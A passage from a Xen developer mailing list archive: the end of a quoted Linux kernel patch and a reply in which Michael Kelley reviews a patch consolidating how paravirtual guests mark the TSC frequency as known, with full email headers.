>  	.init.x2apic_available	=3D jailhouse_x2apic_available,
> +	.init.get_tsc_khz	=3D jailhouse_get_tsc,
> +	.init.get_cpu_khz	=3D jailhouse_get_tsc,
>  	.ignore_nopv		=3D true,
>  };
> diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
> index cb3d0ca1fa22..4f8299303a19 100644
> --- a/arch/x86/kernel/kvmclock.c
> +++ b/arch/x86/kernel/kvmclock.c
> @@ -136,7 +136,7 @@ static inline void kvm_sched_clock_init(bool stable)
>   * poll of guests can be running and trouble each other. So we preset
>   * lpj here
>   */
> -static unsigned long kvm_get_tsc_khz(void)
> +static unsigned int __init kvm_get_tsc_khz(void)
>  {
>  	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	return pvclock_tsc_khz(this_cpu_pvti());
> @@ -343,8 +343,8 @@ void __init kvmclock_init(void)
>  	flags =3D pvclock_read_flags(&hv_clock_boot[0].pvti);
>  	kvm_sched_clock_init(flags & PVCLOCK_TSC_STABLE_BIT);
>=20
> -	x86_platform.calibrate_tsc =3D kvm_get_tsc_khz;
> -	x86_platform.calibrate_cpu =3D kvm_get_tsc_khz;
> +	x86_init.hyper.get_tsc_khz =3D kvm_get_tsc_khz;
> +	x86_init.hyper.get_cpu_khz =3D kvm_get_tsc_khz;
>  	x86_platform.get_wallclock =3D kvm_get_wallclock;
>  	x86_platform.set_wallclock =3D kvm_set_wallclock;
>  #ifdef CONFIG_X86_LOCAL_APIC
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 86384a83a5f6..1dca9464b41c 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -1451,13 +1451,17 @@ static int __init init_tsc_clocksource(void)
>  device_initcall(init_tsc_clocksource);
>=20
>  static bool __init determine_cpu_tsc_frequencies(bool early,
> +						 unsigned int known_cpu_khz,
>  						 unsigned int known_tsc_khz)
>  {
>  	/* Make sure that cpu and tsc are not already calibrated */
>  	WARN_ON(cpu_khz || tsc_khz);
>=20
>  	if (early) {
> -		cpu_khz =3D x86_platform.calibrate_cpu();
> +		if (known_cpu_khz)
> +			cpu_khz =3D known_cpu_khz;
> +		else
> +			cpu_khz =3D x86_platform.calibrate_cpu();
>  		if (known_tsc_khz)
>  			tsc_khz =3D known_tsc_khz;
>  		else
> @@ -1514,7 +1518,7 @@ static void __init tsc_enable_sched_clock(void)
>=20
>  void __init tsc_early_init(void)
>  {
> -	unsigned int known_tsc_khz =3D 0;
> +	unsigned int known_cpu_khz =3D 0, known_tsc_khz =3D 0;
>=20
>  	if (!boot_cpu_has(X86_FEATURE_TSC))
>  		return;
> @@ -1522,22 +1526,33 @@ void __init tsc_early_init(void)
>  	if (is_early_uv_system())
>  		return;
>=20
> +	if (x86_init.hyper.get_cpu_khz)
> +		known_cpu_khz =3D x86_init.hyper.get_cpu_khz();
> +
>  	if (cc_platform_has(CC_ATTR_GUEST_SNP_SECURE_TSC))
>  		known_tsc_khz =3D snp_secure_tsc_init();
>  	else if (boot_cpu_has(X86_FEATURE_TDX_GUEST))
>  		known_tsc_khz =3D tdx_tsc_init();
>=20
> +	/*
> +	 * If the TSC frequency wasn't provided by trusted firmware, try to get
> +	 * it from the hypervisor (which is untrusted when running as a CoCo gu=
est).
> +	 */
> +	if (!known_tsc_khz && x86_init.hyper.get_tsc_khz)
> +		known_tsc_khz =3D x86_init.hyper.get_tsc_khz();
> +
>  	/*
>  	 * Ignore the user-provided TSC frequency if the exact frequency was
> -	 * obtained from trusted firmware, as the user-provided frequency is
> -	 * intended as a "starting point", not a known, guaranteed frequency.
> +	 * obtained from trusted firmware or the hypervisor, as the user-
> +	 * provided frequency is intended as a "starting point", not a known,
> +	 * guaranteed frequency.
>  	 */
>  	if (!known_tsc_khz)
>  		known_tsc_khz =3D tsc_early_khz;
>  	else if (tsc_early_khz)
> -		pr_err("Ignoring 'tsc_early_khz' in favor of trusted firmware.\n");
> +		pr_err("Ignoring 'tsc_early_khz' in favor of firmware/hypervisor.\n");
>=20
> -	if (!determine_cpu_tsc_frequencies(true, known_tsc_khz))
> +	if (!determine_cpu_tsc_frequencies(true, known_cpu_khz, known_tsc_khz))
>  		return;
>  	tsc_enable_sched_clock();
>  }
> @@ -1558,7 +1573,7 @@ void __init tsc_init(void)
>=20
>  	if (!tsc_khz) {
>  		/* We failed to determine frequencies earlier, try again */
> -		if (!determine_cpu_tsc_frequencies(false, 0)) {
> +		if (!determine_cpu_tsc_frequencies(false, 0, 0)) {
>  			mark_tsc_unstable("could not calculate TSC khz");
>  			setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER);
>  			return;
> diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
> index d62c14334b35..1adb44fdddb2 100644
> --- a/arch/x86/xen/time.c
> +++ b/arch/x86/xen/time.c
> @@ -38,7 +38,7 @@
>  static u64 xen_sched_clock_offset __read_mostly;
>=20
>  /* Get the TSC speed from Xen */
> -static unsigned long xen_tsc_khz(void)
> +static unsigned int __init xen_tsc_khz(void)
>  {
>  	struct pvclock_vcpu_time_info *info =3D
>  		&HYPERVISOR_shared_info->vcpu_info[0].time;
> @@ -569,7 +569,7 @@ static void __init xen_init_time_common(void)
>  	static_call_update(pv_steal_clock, xen_steal_clock);
>  	paravirt_set_sched_clock(xen_sched_clock);
>=20
> -	x86_platform.calibrate_tsc =3D xen_tsc_khz;
> +	x86_init.hyper.get_tsc_khz =3D xen_tsc_khz;
>  	x86_platform.get_wallclock =3D xen_get_wallclock;
>  }
>=20
> --
> 2.55.0.rc0.799.gd6f94ed593-goog
>=20



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 17:48:04 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 17:48:04 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352287.1609122 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLW8-00073T-T0; Thu, 02 Jul 2026 17:48:04 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352287.1609122; Thu, 02 Jul 2026 17:48:04 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLW8-00073M-QA; Thu, 02 Jul 2026 17:48:04 +0000
Received: by outflank-mailman (input) for mailman id 1352287;
 Thu, 02 Jul 2026 17:48:03 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhklinux@outlook.com>) id 1wfLW7-00072X-EJ
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:48:03 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfLW6-008qpb-RM
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 19:48:02 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a443-e002-0a2a0a5209dd-0a2a4505c830-8
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:02 +0200
Received: from [52.103.1.0] (helo=BL2PR02CU003.outbound.protection.outlook.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a44e-3cb2-0a2a45050019-34670100a453-3
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:01 +0200
Received: from SN6PR02MB4157.namprd02.prod.outlook.com (2603:10b6:805:33::23)
 by LV8PR02MB10144.namprd02.prod.outlook.com (2603:10b6:408:18f::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 2 Jul 2026
 17:47:54 +0000
Received: from SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6]) by SN6PR02MB4157.namprd02.prod.outlook.com
 ([fe80::900:1ccf:2b1e:52b6%3]) with mapi id 15.21.0181.008; Thu, 2 Jul 2026
 17:47:54 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=outlook.com header.i="@outlook.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=KHoEp7dCJNfZ2ZEYm/gm9MNVzODF6uNunrGbwyFYG6dJ7U7U06e4d1kCGT5Y9poMpqx7SM2ZdOCmAsVl7N+y0syGRgIW8N1W6dwapBFpOtVKk+EkyTl7p+flLIVd1krsOwDpPdWpea+0MTM7v50Z+NERPXcGY9o9OCOISv0uMPUwKC5k1UOowuHfjarZAstBwezEsJcplgK0DMFhNp5HrPYvV/ilk+fHosBeGErcGHNULVzW9Ek3xFbqr7BYHXBcVqAsY5KDq+yaRT6i6e00DTiasSaNK0q8SMgGR/DwclndAGDvo3WG87WW9h+JEpuCu0xBVlWUogQgPdw4xcRG4g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=8G/iF/UE8E5eJfmXsP11xDkhwiBaGeTGpy27NbqqiJA=;
 b=CuIcHBPd6cKQLaEvdL1PqAHyCFffbi70t+H3NVC8ZISZJff+ofDBD3kcTF/N9yZzyGg1Aa/md/eDQ0MjqDu8h2OWlLFDUcUmwyOqrqj8+5xDMMdDf9BrYZ4Ug3Nh4ChHODand2k9JRJ+HgPSLXgDQGYLHmvYcMHsdcTT0gmHNXHJepecZRZ5ABG3tIW5ReuyHuDxXY7ggNpUFwh2Bax05Ll8g0ggntUEsgf7/r+C2kPyhTc7JEx7eIai0oRAzSA2i65UAR0twi6lrXBynxrHVTb25X/pFFljfx/K2U4uMEz+Bk1cdJ3T6geyU0eTDJna5cOO8qGDsOH1n9JB+Ssc/w==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;
 dkim=none; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=8G/iF/UE8E5eJfmXsP11xDkhwiBaGeTGpy27NbqqiJA=;
 b=pLjHkLTjRY7SL6oMuKrPzcF0TKzE/f7W/qu/2sAJUIRyjjWoGj9KJY6Yfe0UX/Hs7sJTFUxVyFC6SxQH52J0nxe9iGo12gpM3v+DkXCCNAKaILJsUn1QCLQCtfx7LF6DGaWcHEd+TBmN/Sls7lwj649F18zqDM7UvL/ytznNlNTP2LFvCUpAFCj/pAvU3rIzSL3UWVobMRq+rS3KMhNo1aFGw5pAdI72rl3zvouD9FA1FFriN/S/qPrhI4SWveYxAa9Ic+NmD5NGYhTcU71y+/9zIEMzq2iIpackyfreNZksU0F5Kyar0by8Nzf5ASGZHSCCTgOS/C63qLf5mPeVag==
From: Michael Kelley <mhklinux@outlook.com>
To: Sean Christopherson <seanjc@google.com>, Jonathan Corbet <corbet@lwn.net>,
	Paolo Bonzini <pbonzini@redhat.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Borislav Petkov <bp@alien8.de>, Dave Hansen
	<dave.hansen@linux.intel.com>, "x86@kernel.org" <x86@kernel.org>, Kiryl
 Shutsemau <kas@kernel.org>, Rick Edgecombe <rick.p.edgecombe@intel.com>, "K.
 Y. Srinivasan" <kys@microsoft.com>, Haiyang Zhang <haiyangz@microsoft.com>,
	Wei Liu <wei.liu@kernel.org>, Dexuan Cui <decui@microsoft.com>, Long Li
	<longli@microsoft.com>, Ajay Kaher <ajay.kaher@broadcom.com>, Alexey Makhalov
	<alexey.makhalov@broadcom.com>, Jan Kiszka <jan.kiszka@siemens.com>, Andy
 Lutomirski <luto@kernel.org>, Peter Zijlstra <peterz@infradead.org>, Juergen
 Gross <jgross@suse.com>, Daniel Lezcano <daniel.lezcano@kernel.org>, John
 Stultz <jstultz@google.com>
CC: Shuah Khan <skhan@linuxfoundation.org>, "H. Peter Anvin" <hpa@zytor.com>,
	Vitaly Kuznetsov <vkuznets@redhat.com>, Broadcom internal kernel review list
	<bcm-kernel-feedback-list@broadcom.com>, Boris Ostrovsky
	<boris.ostrovsky@oracle.com>, Stephen Boyd <sboyd@kernel.org>,
	"linux-doc@vger.kernel.org" <linux-doc@vger.kernel.org>,
	"kvm@vger.kernel.org" <kvm@vger.kernel.org>, "linux-kernel@vger.kernel.org"
	<linux-kernel@vger.kernel.org>, "linux-coco@lists.linux.dev"
	<linux-coco@lists.linux.dev>, "linux-hyperv@vger.kernel.org"
	<linux-hyperv@vger.kernel.org>, "virtualization@lists.linux.dev"
	<virtualization@lists.linux.dev>, "xen-devel@lists.xenproject.org"
	<xen-devel@lists.xenproject.org>, Tom Lendacky <thomas.lendacky@amd.com>,
	Nikunj A Dadhania <nikunj@amd.com>, David Woodhouse <dwmw@amazon.co.uk>,
	David Woodhouse <dwmw2@infradead.org>, Michael Kelley <mhklinux@outlook.com>,
	Thomas Gleixner <tglx@linutronix.de>
Subject: RE: [PATCH v5 14/51] x86/tsc: Consolidate forcing of
 X86_FEATURE_TSC_KNOWN_FREQ for PV code
Thread-Topic: [PATCH v5 14/51] x86/tsc: Consolidate forcing of
 X86_FEATURE_TSC_KNOWN_FREQ for PV code
Thread-Index: AQHdCZBo3fC/rBiXmkyrOoc2yLGVY7Zagq9Q
Date: Thu, 2 Jul 2026 17:47:54 +0000
Message-ID:
 <SN6PR02MB4157A8B2BC4C41FA5596CA42D4F52@SN6PR02MB4157.namprd02.prod.outlook.com>
References: <20260701193212.749551-1-seanjc@google.com>
 <20260701193212.749551-15-seanjc@google.com>
In-Reply-To: <20260701193212.749551-15-seanjc@google.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: SN6PR02MB4157:EE_|LV8PR02MB10144:EE_
x-ms-office365-filtering-correlation-id: 7e735224-d18e-4d76-5415-08ded8620b95
x-ms-exchange-slblob-mailprops:
 qdrM8TqeFBvhuFgLLe5qs4jWk9CHdv0ATSI6n101gleWPZ+LxoY8/5cb6C/shF5Ih0Hn092D14Pn4D/9I/HbBPvhjVldxo3XYuQ9DVtjNxkw82om94dSRT6eLqLcY7HzSrlv4MNnP+aj8F8x8/9970aQXiX+Bz6jmZ8/h5vfmjfOuVaJtyek7dY0ORq3MUtJ7+hiQFfSTuS9VyZyOVL/ljDRMe6gB10eJpocaD7syQuNkL7gWZSaUbF9fuawuW4o+hb4yKivswiKsTFaPrCtWH5k+20lx807gmul9NZLedoSHDAWR5G8htGjaRgPZagaNt5Ki3CcNBbKpqpPaVRo9o5zUYCd3cKylcIDAppOZ18kmwFm0/XFIdgldzBuTFjo/8k5DpHqW1rjxWYlpf9F8KnJlGZgIJEsuAFH2Y94vlufiZSbk7XANlEpVHQsPJR95AFFfEff0FxLwGTCQbGEoB08AareuAzyXl1ptVNZxnW9he84pMbEYlheNXKp1JeY/f5iMn8JF/1rs4R1aE+/n79npIrbf+wPgAcMYfLB+rIwhTZ1VXhe0x4V32zx3AezoU6fkoRJ8yGpG3Hb9JDUsf6T352K58Kol793lSmQuFAHgPGVGRox9NmzSOVRlFoBTfDNdydCks+QfviZjgWYZ082onf4HVadxEI5VXhmTW2moxSbKMXk7iiASqDEB4AGjmFVqk1ZSUUthoPISD4gF/bYRnbMft8nw4eC8ZDJJ2DgmR3iKi4ixqeuRvPhIkaogG2AYA3gq60l7/EgAREzACsEdfwA97cq
x-microsoft-antispam:
 BCL:0;ARA:14566002|16051099003|51005399006|19101099003|2604032031799003|37011999003|13091999003|8060799015|8062599012|31061999003|41001999006|19110799012|25010399006|15080799012|40105399003|102099032|440099028|3412199025|1710799026;
x-microsoft-antispam-message-info:
 =?us-ascii?Q?xlTLF8VHk2mVYDxNPmyNyz9IsIDRGFuy97oGnlCy9hjUPDeUqFKlUlBFuhwc?=
 =?us-ascii?Q?13p4tTeObKDvQ2KB1BQJQx6wmxIVGjO8nnRBHR0A/hRKt2ZI8m5CsQDrOvr3?=
 =?us-ascii?Q?o9IbfzBrbUF66oKZ16298Fuay6gt1n+7C8yLrLDZxiW6xfXdIlXQyG4ozyhV?=
 =?us-ascii?Q?6FIJ6Obbm5BruShxr4PXNs444ZuLrFgPhPhw/jrzD90dlRVulvgEE+YPSStn?=
 =?us-ascii?Q?4E43RYJNNyZ8oBVcvMJMPN3JbfywWHQfPqMdoi/DAZLOk9+9LMzjPbyvIcYO?=
 =?us-ascii?Q?9nXXm4CPFG0A13LiSDzNjSncQCMTCxwUIEdvJJ1wvQMOAeJsRIcYh+uFgcjF?=
 =?us-ascii?Q?GZ35u8UTLmaV5P+EWDQdqCBjk7K9RjzlmPEuYhojW50TnqjOrECq+i4Zr3md?=
 =?us-ascii?Q?SortMf1w/VO/9ZLhdBQDlkui+NdqJWAKrGd1GQmEwQZKXkF+li7rAPK3i5+7?=
 =?us-ascii?Q?Mn986ANy7pyKYN5LaXFK7TOqZ1unYRQpQEy4d/BMls/unHQRBTJebJ5/ZScE?=
 =?us-ascii?Q?xbiXvwTOupDny3i6NudS1VRKqsQsjMRtYwyUClNpjVDa0uRyDppbqtEN0egG?=
 =?us-ascii?Q?JvxxugZfRZrYVgyuz0x8y/SLR91Y8tSWNnLuCjSv5nnoX/LmuDuh/maxZT+X?=
 =?us-ascii?Q?KDiSlwgosi3XG7Vq8pUaqKAz/OGXfaYjadBKnahMrw4Xg8k6gyeyjMprPulh?=
 =?us-ascii?Q?5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d8nYqac6cS5JUajH0h2+PhETaA8BdulsFZtgc48bOGyw4cF?=
 =?us-ascii?Q?1RMDcj+agQzfXbuXLZQ9Nk3HF3uT19zqefEHaKdvBvmSBRdsRaSz03++/OWo?=
 =?us-ascii?Q?XGW+PK1LYM1YzmZuGp/6vcli5+omuRR+DcdGJyZc9FcWCRyx1X6Uywn3hIR1?=
 =?us-ascii?Q?SQN67sg=3D?=
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: SN6PR02MB4157.namprd02.prod.outlook.com
X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-CrossTenant-Network-Message-Id: 7e735224-d18e-4d76-5415-08ded8620b95
X-MS-Exchange-CrossTenant-originalarrivaltime: 02 Jul 2026 17:47:54.5401
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa
X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000
X-MS-Exchange-Transport-CrossTenantHeadersStamped: LV8PR02MB10144
X-purgate-ID: tlsNG-c201ff/1783014481-0DD0E2B8-A9B42984/0/0
X-purgate-type: clean
X-purgate-size: 6413

From: Sean Christopherson <seanjc@google.com> Sent: Wednesday, July 1, 2026=
 12:32 PM
>=20
> Now that all paravirt code that explicitly specifies the TSC frequency
> also sets X86_FEATURE_TSC_KNOWN_FREQ, replace all of the one-off code
> and simply set X86_FEATURE_TSC_KNOWN_FREQ if the TSC frequency is known.
>=20
> Do NOT force set TSC_KNOWN_FREQ if the "known" TSC frequency was provided
> by the user.  Per commit bd35c77e32e4 ("x86/tsc: Add tsc_early_khz comman=
d
> line parameter"), one of the goals of the param is to allow the refined
> calibration work "to do meaningful error checking".
>=20
> No functional change intended.
>=20
> Signed-off-by: Sean Christopherson <seanjc@google.com>

For the Hyper-V changes,

Reviewed-by: Michael Kelley <mhklinux@outlook.com>

> ---
>  arch/x86/coco/sev/core.c       |  1 -
>  arch/x86/coco/tdx/tdx.c        |  1 -
>  arch/x86/kernel/cpu/acrn.c     |  1 -
>  arch/x86/kernel/cpu/mshyperv.c |  1 -
>  arch/x86/kernel/cpu/vmware.c   |  2 --
>  arch/x86/kernel/jailhouse.c    |  1 -
>  arch/x86/kernel/kvmclock.c     |  1 -
>  arch/x86/kernel/tsc.c          | 13 ++++++++++---
>  arch/x86/xen/time.c            |  1 -
>  9 files changed, 10 insertions(+), 12 deletions(-)
>=20
> diff --git a/arch/x86/coco/sev/core.c b/arch/x86/coco/sev/core.c
> index bc5ae9ef74da..72313b36b6f5 100644
> --- a/arch/x86/coco/sev/core.c
> +++ b/arch/x86/coco/sev/core.c
> @@ -2027,7 +2027,6 @@ unsigned int __init snp_secure_tsc_init(void)
>=20
>  	secrets =3D (__force struct snp_secrets_page *)mem;
>=20
> -	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
>=20
>  	rdmsrq(MSR_AMD64_GUEST_TSC_FREQ, tsc_freq_mhz);
> diff --git a/arch/x86/coco/tdx/tdx.c b/arch/x86/coco/tdx/tdx.c
> index ae2d35f2ef33..94682aca188b 100644
> --- a/arch/x86/coco/tdx/tdx.c
> +++ b/arch/x86/coco/tdx/tdx.c
> @@ -1205,7 +1205,6 @@ unsigned int __init tdx_tsc_init(void)
>=20
>  	/* TSC is the only reliable clock in TDX guest */
>  	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
> -	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>=20
>  	return info.crystal_khz * info.numerator / info.denominator;
>  }
> diff --git a/arch/x86/kernel/cpu/acrn.c b/arch/x86/kernel/cpu/acrn.c
> index 3818f6ae0629..dc71a6fdd461 100644
> --- a/arch/x86/kernel/cpu/acrn.c
> +++ b/arch/x86/kernel/cpu/acrn.c
> @@ -40,7 +40,6 @@ static void __init acrn_init_platform(void)
>  	if (acrn_tsc_khz_cpuid) {
>  		x86_init.hyper.get_tsc_khz =3D acrn_get_tsc_khz;
>  		x86_init.hyper.get_cpu_khz =3D acrn_get_tsc_khz;
> -		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	}
>  }
>=20
> diff --git a/arch/x86/kernel/cpu/mshyperv.c b/arch/x86/kernel/cpu/mshyper=
v.c
> index f9bc1c2d8c93..e03c69a4db33 100644
> --- a/arch/x86/kernel/cpu/mshyperv.c
> +++ b/arch/x86/kernel/cpu/mshyperv.c
> @@ -575,7 +575,6 @@ static void __init ms_hyperv_init_platform(void)
>  	    ms_hyperv.misc_features & HV_FEATURE_FREQUENCY_MSRS_AVAILABLE) {
>  		x86_init.hyper.get_tsc_khz =3D hv_get_tsc_khz;
>  		x86_init.hyper.get_cpu_khz =3D hv_get_tsc_khz;
> -		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	}
>=20
>  	if (ms_hyperv.priv_high & HV_ISOLATION) {
> diff --git a/arch/x86/kernel/cpu/vmware.c b/arch/x86/kernel/cpu/vmware.c
> index 3cb473cae462..0a3bd90576d4 100644
> --- a/arch/x86/kernel/cpu/vmware.c
> +++ b/arch/x86/kernel/cpu/vmware.c
> @@ -390,8 +390,6 @@ static void __init vmware_set_capabilities(void)
>  {
>  	setup_force_cpu_cap(X86_FEATURE_CONSTANT_TSC);
>  	setup_force_cpu_cap(X86_FEATURE_TSC_RELIABLE);
> -	if (vmware_tsc_khz)
> -		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	if (vmware_hypercall_mode =3D=3D CPUID_VMWARE_FEATURES_ECX_VMCALL)
>  		setup_force_cpu_cap(X86_FEATURE_VMCALL);
>  	else if (vmware_hypercall_mode =3D=3D CPUID_VMWARE_FEATURES_ECX_VMMCALL=
)
> diff --git a/arch/x86/kernel/jailhouse.c b/arch/x86/kernel/jailhouse.c
> index e24c05ab4fae..ff173052cdce 100644
> --- a/arch/x86/kernel/jailhouse.c
> +++ b/arch/x86/kernel/jailhouse.c
> @@ -255,7 +255,6 @@ static void __init jailhouse_init_platform(void)
>  	pr_debug("Jailhouse: PM-Timer IO Port: %#x\n", pmtmr_ioport);
>=20
>  	precalibrated_tsc_khz =3D setup_data.v1.tsc_khz;
> -	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>=20
>  	pci_probe =3D 0;
>=20
> diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c
> index 4f8299303a19..35a879d33e9e 100644
> --- a/arch/x86/kernel/kvmclock.c
> +++ b/arch/x86/kernel/kvmclock.c
> @@ -138,7 +138,6 @@ static inline void kvm_sched_clock_init(bool stable)
>   */
>  static unsigned int __init kvm_get_tsc_khz(void)
>  {
> -	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	return pvclock_tsc_khz(this_cpu_pvti());
>  }
>=20
> diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c
> index 1dca9464b41c..676910292af7 100644
> --- a/arch/x86/kernel/tsc.c
> +++ b/arch/x86/kernel/tsc.c
> @@ -1541,11 +1541,18 @@ void __init tsc_early_init(void)
>  	if (!known_tsc_khz && x86_init.hyper.get_tsc_khz)
>  		known_tsc_khz =3D x86_init.hyper.get_tsc_khz();
>=20
> +	/*
> +	 * Mark the TSC frequency as known if it was obtained from a hypervisor
> +	 * or trusted firmware.
> +	 */
> +	if (known_tsc_khz)
> +		setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
> +
>  	/*
>  	 * Ignore the user-provided TSC frequency if the exact frequency was
> -	 * obtained from trusted firmware or the hypervisor, as the user-
> -	 * provided frequency is intended as a "starting point", not a known,
> -	 * guaranteed frequency.
> +	 * obtained from trusted firmware or the hypervisor, and don't mark the
> +	 * frequency as known, as the user-provided frequency is intended as a
> +	 * "starting point", not a known, guaranteed frequency
>  	 */
>  	if (!known_tsc_khz)
>  		known_tsc_khz =3D tsc_early_khz;
> diff --git a/arch/x86/xen/time.c b/arch/x86/xen/time.c
> index 1adb44fdddb2..487ad838c441 100644
> --- a/arch/x86/xen/time.c
> +++ b/arch/x86/xen/time.c
> @@ -43,7 +43,6 @@ static unsigned int __init xen_tsc_khz(void)
>  	struct pvclock_vcpu_time_info *info =3D
>  		&HYPERVISOR_shared_info->vcpu_info[0].time;
>=20
> -	setup_force_cpu_cap(X86_FEATURE_TSC_KNOWN_FREQ);
>  	return pvclock_tsc_khz(info);
>  }
>=20
> --
> 2.55.0.rc0.799.gd6f94ed593-goog
>=20



From xen-devel-bounces@lists.xenproject.org Thu Jul 02 17:48:16 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 02 Jul 2026 17:48:16 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1352294.1609130 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLWK-0007YV-As; Thu, 02 Jul 2026 17:48:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1352294.1609130; Thu, 02 Jul 2026 17:48:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wfLWK-0007YK-7Q; Thu, 02 Jul 2026 17:48:16 +0000
Received: by outflank-mailman (input) for mailman id 1352294;
 Thu, 02 Jul 2026 17:48:14 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mhklinux@outlook.com>) id 1wfLWI-0007Ve-HN
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 17:48:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wfLWH-00Ejw1-UL
 for xen-devel@lists.xenproject.org; Thu, 02 Jul 2026 19:48:13 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mhklinux@outlook.com>)
 id 6a46a44e-2eae-0a2a0a5409dd-0a2a4501ebf4-12
 for <xen-devel@lists.xenproject.org>; Thu, 02 Jul 2026 19:48:13 +0200
Received: from [52.103.7.21]
 (helo=CY7PR03CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mhklinux@outlook.com>)
